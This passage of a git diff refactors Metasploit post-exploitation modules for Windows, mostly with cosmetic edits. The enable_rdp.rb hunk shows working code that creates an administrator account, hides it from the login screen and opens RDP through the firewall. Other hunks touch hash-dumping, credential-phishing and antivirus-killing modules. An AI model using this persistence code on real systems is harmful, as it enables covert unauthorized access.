@@ -252,6 +250,6 @@ class MetasploitModule < Msf::Post
   # Write to loot database
   def db_loot(host, user, type)
     p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
-    vprint_status("User data stored in: #{p}")
+    vprint_good("User data stored in: #{p}")
   end
 end
diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb
index 1c88fda8b4..867f725631 100644
--- a/modules/post/windows/gather/lsa_secrets.rb
+++ b/modules/post/windows/gather/lsa_secrets.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/make_csv_orgchart.rb b/modules/post/windows/gather/make_csv_orgchart.rb
index ce87129fef..e70e86e663 100644
--- a/modules/post/windows/gather/make_csv_orgchart.rb
+++ b/modules/post/windows/gather/make_csv_orgchart.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,7 +60,7 @@ class MetasploitModule < Msf::Post
       print_line results_table.to_s
       if datastore['STORE_LOOT']
         stored_path = store_loot('ad.orgchart', 'text/csv', session, results_table.to_csv)
-        print_status("CSV Organisational Chart Information saved to: #{stored_path}")
+        print_good("CSV Organisational Chart Information saved to: #{stored_path}")
       end
     end
   end
diff --git a/modules/post/windows/gather/memory_grep.rb b/modules/post/windows/gather/memory_grep.rb
index c9dfae210c..055b7e423d 100644
--- a/modules/post/windows/gather/memory_grep.rb
+++ b/modules/post/windows/gather/memory_grep.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Post
     super( update_info(info,
       'Name'           => 'Windows Gather Process Memory Grep',
       'Description'    => %q{
-          This module allows for searching the memory space of a proccess for potentially
+          This module allows for searching the memory space of a process for potentially
         sensitive data.  Please note: When the HEAP option is enabled, the module will have
         to migrate to the process you are grepping, and will not migrate back automatically.
         This means that if the user terminates the application after using this module, you
diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb
index be00245967..a8dc33e1d0 100644
--- a/modules/post/windows/gather/netlm_downgrade.rb
+++ b/modules/post/windows/gather/netlm_downgrade.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::WindowsServices
   include Msf::Post::Windows::Priv
diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb
index a6ad03f1d6..ffc704e9f2 100644
--- a/modules/post/windows/gather/ntds_location.rb
+++ b/modules/post/windows/gather/ntds_location.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
 
@@ -42,5 +41,4 @@ class MetasploitModule < Msf::Post
       print_error("NTDS.DIT is reportedly located at `#{ntds}', but the file does not appear to exist")
     end
   end
-
 end
diff --git a/modules/post/windows/gather/outlook.rb b/modules/post/windows/gather/outlook.rb
index 9075cf9d65..4b79d450d9 100644
--- a/modules/post/windows/gather/outlook.rb
+++ b/modules/post/windows/gather/outlook.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb
index d87a82d91e..47b9204b4e 100644
--- a/modules/post/windows/gather/phish_windows_credentials.rb
+++ b/modules/post/windows/gather/phish_windows_credentials.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/resolve_sid.rb b/modules/post/windows/gather/resolve_sid.rb
index 940aaaad29..d53dc89eee 100644
--- a/modules/post/windows/gather/resolve_sid.rb
+++ b/modules/post/windows/gather/resolve_sid.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Accounts
 
   def initialize(info={})
diff --git a/modules/post/windows/gather/reverse_lookup.rb b/modules/post/windows/gather/reverse_lookup.rb
index b708590d17..3da0b0d663 100644
--- a/modules/post/windows/gather/reverse_lookup.rb
+++ b/modules/post/windows/gather/reverse_lookup.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb
index 93814bd3f2..32e8e77fa2 100644
--- a/modules/post/windows/gather/screen_spy.rb
+++ b/modules/post/windows/gather/screen_spy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -134,10 +134,10 @@ class MetasploitModule < Msf::Post
         print_status("Migrating to explorer.exe pid: #{p['pid']}")
         begin
           session.core.migrate(p['pid'].to_i)
-          print_status("Migration successful")
+          print_good("Migration successful")
           return p['pid']
         rescue
-          print_status("Migration failed.")
+          print_bad("Migration failed")
           return nil
         end
       end
diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb
index 0a962e0402..eb657ef634 100644
--- a/modules/post/windows/gather/smart_hashdump.rb
+++ b/modules/post/windows/gather/smart_hashdump.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Registry
@@ -48,7 +47,7 @@ class MetasploitModule < Msf::Post
     host = Rex::FileUtils.clean_path(sysinfo["Computer"])
     hash_file = store_loot("windows.hashes", "text/plain", session, "", "#{host}_hashes.txt", "Windows Hashes")
     print_status("Hashes will be saved to the database if one is connected.")
-    print_status("Hashes will be saved in loot in JtR password file format to:")
+    print_good("Hashes will be saved in loot in JtR password file format to:")
     print_status(hash_file)
     smart_hash_dump(datastore['GETSYSTEM'], hash_file)
   end
diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb
index 8f7bbc6c9b..2a68e08fb2 100644
--- a/modules/post/windows/gather/tcpnetstat.rb
+++ b/modules/post/windows/gather/tcpnetstat.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb
index 69634845de..9bb9463a40 100644
--- a/modules/post/windows/gather/usb_history.rb
+++ b/modules/post/windows/gather/usb_history.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
 
   def initialize(info={})
@@ -209,5 +208,4 @@ class MetasploitModule < Msf::Post
     out << sprintf("%25s\t%50s\n", "Driver", hash['Driver'])
     return out
   end
-
 end
diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb
index 80d5295081..652d0cea31 100644
--- a/modules/post/windows/gather/win_privs.rb
+++ b/modules/post/windows/gather/win_privs.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
 
   def initialize(info={})
@@ -59,5 +58,4 @@ class MetasploitModule < Msf::Post
     print_line(usr_tbl.to_s)
     print_line(privs_tbl.to_s)
   end
-
 end
diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb
index 4d5ccdad03..749024c250 100644
--- a/modules/post/windows/gather/wmic_command.rb
+++ b/modules/post/windows/gather/wmic_command.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::WMIC
 
   def initialize(info={})
@@ -63,5 +62,4 @@ class MetasploitModule < Msf::Post
 
     print_status("Command output saved to: #{command_log}")
   end
-
 end
diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb
index 88d39f479e..af0f2d9730 100644
--- a/modules/post/windows/gather/word_unc_injector.rb
+++ b/modules/post/windows/gather/word_unc_injector.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,6 @@ require 'zip'
 require 'rex/zip'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Priv
 
diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb
index 8b8d76c500..14e7ca288a 100644
--- a/modules/post/windows/manage/add_user_domain.rb
+++ b/modules/post/windows/manage/add_user_domain.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
 
   def initialize(info={})
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Post
         'Description'   => %q{
               This module adds a user to the Domain and/or to a Domain group. It will
             check if sufficient privileges are present for certain actions and run
-            getprivs for system.  If you elevated privs to system,the
+            getprivs for system.  If you elevated privs to system, the
             SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to
             a process that is running as system. If you don't have privs, this script
             exits.
@@ -73,7 +72,7 @@ class MetasploitModule < Msf::Post
     end
 
     if(! session.incognito)
-      print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
+      print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
       return false
     end
 
@@ -154,7 +153,7 @@ class MetasploitModule < Msf::Post
     end
 
     if(! session.incognito)
-      print_error("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
+      print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
       return false
     end
 
diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb
index babffa6e09..3966bce724 100644
--- a/modules/post/windows/manage/archmigrate.rb
+++ b/modules/post/windows/manage/archmigrate.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Registry
   include Msf::Post::File
diff --git a/modules/post/windows/manage/change_password.rb b/modules/post/windows/manage/change_password.rb
index 6bbe3d98a8..6d6b5b3b9d 100644
--- a/modules/post/windows/manage/change_password.rb
+++ b/modules/post/windows/manage/change_password.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,6 +72,5 @@ class MetasploitModule < Msf::Post
     end
 
   end
-
 end
 
diff --git a/modules/post/windows/manage/clone_proxy_settings.rb b/modules/post/windows/manage/clone_proxy_settings.rb
index 82cdd81f5a..54021e3fda 100644
--- a/modules/post/windows/manage/clone_proxy_settings.rb
+++ b/modules/post/windows/manage/clone_proxy_settings.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize
@@ -156,5 +155,4 @@ class MetasploitModule < Msf::Post
     target_settings(dst_root_key, dst_base_key)
 
   end
-
 end
diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb
index a381f0fc8c..3f8e277363 100644
--- a/modules/post/windows/manage/delete_user.rb
+++ b/modules/post/windows/manage/delete_user.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Accounts
 
   def initialize(info={})
diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb
index df15c62fdf..2c725dcf81 100644
--- a/modules/post/windows/manage/download_exec.rb
+++ b/modules/post/windows/manage/download_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -42,7 +41,7 @@ class MetasploitModule < Msf::Post
 
   def add_railgun_urlmon
 
-    if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
+    if client.railgun.libraries.find_all {|d| d.first == 'urlmon'}.empty?
       session.railgun.add_dll('urlmon','urlmon')
       session.railgun.add_function(
         'urlmon', 'URLDownloadToFileW', 'DWORD',
diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb
index 951a90a073..272ffa028a 100644
--- a/modules/post/windows/manage/driver_loader.rb
+++ b/modules/post/windows/manage/driver_loader.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Services
diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb
index fa591da473..1ecc197401 100644
--- a/modules/post/windows/manage/enable_rdp.rb
+++ b/modules/post/windows/manage/enable_rdp.rb
@@ -1,43 +1,52 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Accounts
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Services
   include Msf::Post::Windows::Priv
   include Msf::Post::File
 
-  def initialize(info={})
-    super( update_info( info,
-      'Name'          => 'Windows Manage Enable Remote Desktop',
-      'Description'   => %q{
-          This module enables the Remote Desktop Service (RDP). It provides the options to create
-        an account and configure it to be a member of the Local Administrators and
-        Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
-      'License'       => BSD_LICENSE,
-      'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
-      'Platform'      => [ 'win' ],
-      'SessionTypes'  => [ 'meterpreter' ]
-    ))
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'Windows Manage Enable Remote Desktop',
+        'Description'   => %q{
+            This module enables the Remote Desktop Service (RDP). It provides the options to create
+          an account and configure it to be a member of the Local Administrators and
+          Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
+        'License'       => BSD_LICENSE,
+        'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
+        'Platform'      => [ 'win' ],
+        'SessionTypes'  => [ 'meterpreter' ]
+      )
+    )
 
     register_options(
       [
         OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
         OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
-        OptBool.new(  'ENABLE',   [ false, 'Enable the RDP Service and Firewall Exception.', true]),
-        OptBool.new(  'FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
-        OptInt.new(   'LPORT',    [ false,  'Local port to forward remote connection.', 3389])
-      ])
+        OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
+        OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
+        OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
+      ]
+    )
   end
 
   def run
-    if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
-      cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
-        "enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
+    if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
+      cleanup_rc = store_loot(
+        "host.windows.cleanup.enable_rdp",
+        "text/plain",
+        session,
+        "",
+        "enable_rdp_cleanup.rc",
+        "enable_rdp cleanup resource file"
+      )
 
       if datastore['ENABLE']
         if is_admin?
@@ -47,9 +56,9 @@ class MetasploitModule < Msf::Post
           print_error("Insufficient privileges, Remote Desktop Service was not modified")
         end
       end
-      if datastore['USERNAME'] and datastore['PASSWORD']
+      if datastore['USERNAME'] && datastore['PASSWORD']
         if is_admin?
-          addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
+          addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
         else
           print_error("Insufficient privileges, account was not be created.")
         end
@@ -66,21 +75,20 @@ class MetasploitModule < Msf::Post
     key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
     value = "fDenyTSConnections"
     begin
-      v = registry_getvaldata(key,value)
+      v = registry_getvaldata(key, value)
       print_status "Enabling Remote Desktop"
       if v == 1
         print_status "\tRDP is disabled; enabling it ..."
-        registry_setvaldata(key,value,0,"REG_DWORD")
-        file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
+        registry_setvaldata(key, value, 0, "REG_DWORD")
+        file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
       else
         print_status "\tRDP is already enabled"
       end
-    rescue::Exception => e
+    rescue StandardError => e
       print_status("The following Error was encountered: #{e.class} #{e}")
     end
   end
 
-
   def enabletssrv(cleanup_rc)
     service_name = "termservice"
     srv_info = service_info(service_name)
@@ -88,32 +96,27 @@ class MetasploitModule < Msf::Post
       print_status "Setting Terminal Services service startup mode"
       if srv_info[:starttype] != START_TYPE_AUTO
         print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
-        unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
+        unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
           print_error("\tUnable to change start type to Auto")
         end
-        file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
-        if (service_start(service_name) == Windows::Error::SUCCESS)
+        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
+        if service_start(service_name) == Windows::Error::SUCCESS
           print_good("\tRDP Service Started")
         end
-        file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
+        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
       else
         print_status "\tTerminal Services service is already set to auto"
       end
-      #Enabling Exception on the Firewall
+      # Enabling Exception on the Firewall
       print_status "\tOpening port in local firewall if necessary"
       cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
-      file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
-    rescue::Exception => e
+      file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
+    rescue StandardError => e
       print_status("The following Error was encountered: #{e.class} #{e}")
     end
   end
 
-
-
-  def addrdpusr(username, password,cleanup_rc)
-    rdu = resolve_sid("S-1-5-32-555")[:name]
-    admin = resolve_sid("S-1-5-32-544")[:name]
-
+  def addrdpusr(username, password, cleanup_rc)
     print_status "Setting user account for logon"
     print_status "\tAdding User: #{username} with Password: #{password}"
     begin
@@ -122,6 +125,19 @@ class MetasploitModule < Msf::Post
         return
       end
 
+      rdu_sid = resolve_sid("S-1-5-32-555")
+      admin_sid = resolve_sid("S-1-5-32-544")
+
+      if !rdu_sid[:mapped] || !admin_sid[:mapped]
+        print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
+        print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
+        print_error("\tNot adding user #{username}")
+        return
+      end
+
+      rdu = rdu_sid[:name]
+      admin = admin_sid[:name]
+
       user_added = false
       addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
 
@@ -132,16 +148,16 @@ class MetasploitModule < Msf::Post
       end
 
       if user_added
-        file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
+        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
         print_status "\tAdding User: #{username} to local group '#{rdu}'"
-        cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
+        cmd_exec("cmd.exe", "/c net localgroup \"#{rdu}\" #{username} /add")
 
         print_status "\tHiding user from Windows Login screen"
         hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
-        registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
-        file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
+        registry_setvaldata(hide_user_key, username, 0, "REG_DWORD")
+        file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
         print_status "\tAdding User: #{username} to local group '#{admin}'"
-        cmd_exec("cmd.exe","/c net localgroup #{admin}  #{username} /add")
+        cmd_exec("cmd.exe", "/c net localgroup #{admin}  #{username} /add")
         print_status "You can now login with the created user"
       else
         print_error("Account could not be created")
@@ -150,17 +166,12 @@ class MetasploitModule < Msf::Post
           print_error("\t#{l.chomp}")
         end
       end
-    rescue ::Exception => e
+    rescue StandardError => e
       print_status("The following Error was encountered: #{e.class} #{e}")
     end
   end
 
   def check_user(user)
-    output = cmd_exec('cmd.exe', '/c net user')
-    if output.include?(user)
-        return true
-    end
-
-    false
+    cmd_exec('cmd.exe', '/c net user').include?(user)
   end
 end
diff --git a/modules/post/windows/manage/enable_support_account.rb b/modules/post/windows/manage/enable_support_account.rb
index 80030b0763..98b0f25846 100644
--- a/modules/post/windows/manage/enable_support_account.rb
+++ b/modules/post/windows/manage/enable_support_account.rb
@@ -1,5 +1,9 @@
-class MetasploitModule < Msf::Post
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
+class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Priv
 
diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb
index e0f7671d29..2f7fd54a82 100644
--- a/modules/post/windows/manage/exec_powershell.rb
+++ b/modules/post/windows/manage/exec_powershell.rb
@@ -1,6 +1,5 @@
-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,5 +50,4 @@ class MetasploitModule < Msf::Post
     print_status psh_exec(script)
     print_good 'Finished!'
   end
-
 end
diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb
index 9083f737cd..acd23d3410 100644
--- a/modules/post/windows/manage/forward_pageant.rb
+++ b/modules/post/windows/manage/forward_pageant.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Post
                          This module forwards SSH agent requests from a local socket to a remote Pageant instance.
                          If a target Windows machine is compromised and is running Pageant, this will allow the
                          attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
-                         tunnelled through the meterpreter session. This could therefore be used to authenticate
+                         tunneled through the meterpreter session. This could therefore be used to authenticate
                          with a remote host using a private key which is loaded into a remote user's Pageant instance,
                          without ever having knowledge of the private key itself.
 
diff --git a/modules/post/windows/manage/hashcarve.rb b/modules/post/windows/manage/hashcarve.rb
index a9a1fca022..e6c8e38ee1 100644
--- a/modules/post/windows/manage/hashcarve.rb
+++ b/modules/post/windows/manage/hashcarve.rb
@@ -1,6 +1,6 @@
 ##
-    # This module requires Metasploit: http://metasploit.com/download
-    # Current source: https://github.com/rapid7/metasploit-framework
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb
index 5481f51d99..49535c2cbd 100644
--- a/modules/post/windows/manage/ie_proxypac.rb
+++ b/modules/post/windows/manage/ie_proxypac.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::File
   include Msf::Post::Windows::Registry
@@ -144,7 +143,7 @@ class MetasploitModule < Msf::Post
       next if k.include? "_Classes"
       key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
       if change_connection(16,'0D',key)
-        print_good ("Automatically Detect Settings on.")
+        print_good("Automatically Detect Settings on.")
         auto_detect_enabled = true
       end
     end
@@ -193,5 +192,4 @@ class MetasploitModule < Msf::Post
 
     return true
   end
-
 end
diff --git a/modules/post/windows/manage/inject_ca.rb b/modules/post/windows/manage/inject_ca.rb
index 3336aa526f..a6d890e99e 100644
--- a/modules/post/windows/manage/inject_ca.rb
+++ b/modules/post/windows/manage/inject_ca.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -89,11 +89,10 @@ class MetasploitModule < Msf::Post
     rescue
       open_key = nil
       open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)
-      print_status("Successfully created key: #{entire_key}")
+      print_good("Successfully created key: #{entire_key}")
 
       open_key.set_value('Blob', REG_BINARY, blob)
       print_good("CA inserted!")
     end
   end
-
 end
diff --git a/modules/post/windows/manage/inject_host.rb b/modules/post/windows/manage/inject_host.rb
index f55c172abd..d8e1aef734 100644
--- a/modules/post/windows/manage/inject_host.rb
+++ b/modules/post/windows/manage/inject_host.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/manage/killav.rb b/modules/post/windows/manage/killav.rb
index f80d85a19e..b72269f422 100644
--- a/modules/post/windows/manage/killav.rb
+++ b/modules/post/windows/manage/killav.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Post
       print_good("A total of #{processes_found} process(es) were discovered, #{processes_killed} were terminated.")
     end
   end
-
 end
diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb
index e769c4f4be..9d3d53b237 100644
--- a/modules/post/windows/manage/migrate.rb
+++ b/modules/post/windows/manage/migrate.rb
@@ -1,5 +1,5 @@
 ##
